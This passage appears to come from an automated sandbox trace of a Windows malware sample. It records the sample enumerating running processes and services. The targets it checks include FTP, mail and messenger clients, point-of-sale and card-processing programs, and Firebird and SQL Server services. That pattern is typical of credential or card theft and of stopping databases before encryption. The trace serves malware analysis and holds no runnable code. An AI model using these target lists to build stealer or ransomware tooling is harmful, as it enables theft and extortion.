dwFlags=0x0, szExeFile="partners_format.exe")) returned 1 [0078.106] lstrlenW (lpString="partners_format.exe") returned 19 [0078.106] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="predict.exe")) returned 1 [0078.107] lstrlenW (lpString="predict.exe") returned 11 [0078.107] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x490, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="supervisor.exe")) returned 1 [0078.108] lstrlenW (lpString="supervisor.exe") returned 14 [0078.108] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0078.109] lstrlenW (lpString="3dftp.exe") returned 9 [0078.109] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x734, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0078.110] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0078.110] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x620, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0078.111] lstrlenW (lpString="alftp.exe") returned 9 [0078.111] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0078.112] lstrlenW (lpString="barca.exe") returned 9 [0078.112] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0078.113] lstrlenW (lpString="bitkinex.exe") returned 12 [0078.113] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0078.113] lstrlenW (lpString="coreftp.exe") returned 11 [0078.113] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0078.114] lstrlenW (lpString="far.exe") returned 7 [0078.114] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x500, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0078.115] lstrlenW (lpString="filezilla.exe") returned 13 [0078.115] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0078.128] lstrlenW (lpString="flashfxp.exe") returned 12 [0078.128] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0078.129] lstrlenW (lpString="fling.exe") returned 9 [0078.130] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0078.130] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0078.131] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x358, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0078.131] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0078.131] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0078.132] lstrlenW (lpString="icq.exe") returned 7 [0078.133] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0078.133] lstrlenW (lpString="leechftp.exe") returned 12 [0078.134] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x81c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0078.135] lstrlenW (lpString="ncftp.exe") returned 9 [0078.135] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x82c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0078.136] lstrlenW (lpString="notepad.exe") returned 11 [0078.136] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x83c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0078.137] lstrlenW (lpString="operamail.exe") returned 13 [0078.138] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x85c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0078.139] lstrlenW (lpString="pidgin.exe") returned 10 [0078.139] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0078.140] lstrlenW (lpString="scriptftp.exe") returned 13 [0078.140] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x87c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0078.142] lstrlenW (lpString="skype.exe") returned 9 [0078.142] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0078.143] lstrlenW (lpString="smartftp.exe") returned 12 [0078.144] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x89c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0078.145] lstrlenW (lpString="thunderbird.exe") returned 15 [0078.145] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0078.146] lstrlenW (lpString="totalcmd.exe") returned 12 [0078.146] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0078.148] lstrlenW (lpString="trillian.exe") returned 12 [0078.148] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0078.149] lstrlenW (lpString="webdrive.exe") returned 12 [0078.149] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0078.151] lstrlenW (lpString="whatsapp.exe") returned 12 [0078.151] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0078.152] lstrlenW (lpString="winscp.exe") returned 10 [0078.152] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0078.153] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0078.153] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0078.155] lstrlenW (lpString="active-charge.exe") returned 17 [0078.155] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x91c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0078.156] lstrlenW (lpString="accupos.exe") returned 11 [0078.156] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x92c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0078.157] lstrlenW (lpString="afr38.exe") returned 9 [0078.157] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x93c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0078.158] lstrlenW (lpString="aldelo.exe") returned 10 [0078.158] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x94c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0078.159] lstrlenW (lpString="ccv_server.exe") returned 14 [0078.159] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0078.160] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0078.160] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x96c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0078.162] lstrlenW (lpString="creditservice.exe") returned 17 [0078.162] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x97c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0078.163] lstrlenW (lpString="edcsvr.exe") returned 10 [0078.177] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x98c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0078.178] lstrlenW (lpString="fpos.exe") returned 8 [0078.178] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x99c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0078.179] lstrlenW (lpString="isspos.exe") returned 10 [0078.180] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0078.181] lstrlenW (lpString="mxslipstream.exe") returned 16 [0078.181] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0078.182] lstrlenW (lpString="omnipos.exe") returned 11 [0078.182] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0078.183] lstrlenW (lpString="spcwin.exe") returned 10 [0078.183] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0078.184] lstrlenW (lpString="spgagentservice.exe") returned 19 [0078.184] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0078.185] lstrlenW (lpString="utg2.exe") returned 8 [0078.185] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="atlascomedy.exe")) returned 1 [0078.186] lstrlenW (lpString="atlascomedy.exe") returned 15 [0078.186] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="starting_terminal_failing.exe")) returned 1 [0078.187] lstrlenW (lpString="starting_terminal_failing.exe") returned 29 [0078.187] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ntsc.exe")) returned 1 [0078.188] lstrlenW (lpString="ntsc.exe") returned 8 [0078.188] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="criteria.exe")) returned 1 [0078.189] lstrlenW (lpString="criteria.exe") returned 12 [0078.189] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0078.190] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0078.190] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0078.191] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0078.191] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0078.192] lstrlenW (lpString="taskhost.exe") returned 12 [0078.192] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0078.192] lstrlenW (lpString="dllhost.exe") returned 11 [0078.192] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0078.193] lstrlenW (lpString="winhost.exe") returned 11 [0078.193] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0078.194] lstrlenW (lpString="cmd.exe") returned 7 [0078.195] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0078.195] lstrlenW (lpString="conhost.exe") returned 11 [0078.195] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0078.196] CloseHandle (hObject=0x194) returned 1 [0078.196] Sleep (dwMilliseconds=0x1f4) [0079.545] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x609c28 [0079.547] EnumServicesStatusExW (in: hSCManager=0x609c28, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x21cff44, lpServicesReturned=0x21cff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x21cff44, lpServicesReturned=0x21cff5c, lpResumeHandle=0x0) returned 0 [0079.549] GetLastError () returned 0xea [0079.549] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x11e4) returned 0x39777a0 [0079.549] EnumServicesStatusExW (in: hSCManager=0x609c28, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x39777a0, cbBufSize=0x11e4, pcbBytesNeeded=0x21cff44, lpServicesReturned=0x21cff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x39777a0, pcbBytesNeeded=0x21cff44, lpServicesReturned=0x21cff5c, lpResumeHandle=0x0) returned 1 [0079.550] CloseServiceHandle (hSCObject=0x609c28) returned 1 [0079.551] lstrlenW (lpString="Appinfo") returned 7 [0079.551] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0079.551] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0079.551] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0079.551] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0079.551] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0079.551] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0079.551] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0079.551] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0079.551] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0079.551] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0079.551] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0079.551] lstrlenW (lpString="AudioSrv") returned 8 [0079.551] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0079.551] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0079.551] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0079.551] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0079.552] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0079.552] lstrlenW (lpString="BFE") returned 3 [0079.552] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0079.552] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0079.552] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0079.552] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0079.552] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0079.552] lstrlenW (lpString="CryptSvc") returned 8 [0079.552] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0079.552] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0079.552] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0079.552] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0079.552] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0079.552] lstrlenW (lpString="CscService") returned 10 [0079.552] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0079.552] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0079.552] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0079.552] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0079.552] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0079.552] lstrlenW (lpString="DcomLaunch") returned 10 [0079.552] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0079.552] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0079.552] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0079.552] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0079.552] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0079.552] lstrlenW (lpString="Dhcp") returned 4 [0079.553] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0079.553] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0079.553] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0079.553] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0079.553] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0079.553] lstrlenW (lpString="Dnscache") returned 8 [0079.553] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0079.553] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0079.553] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0079.553] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") 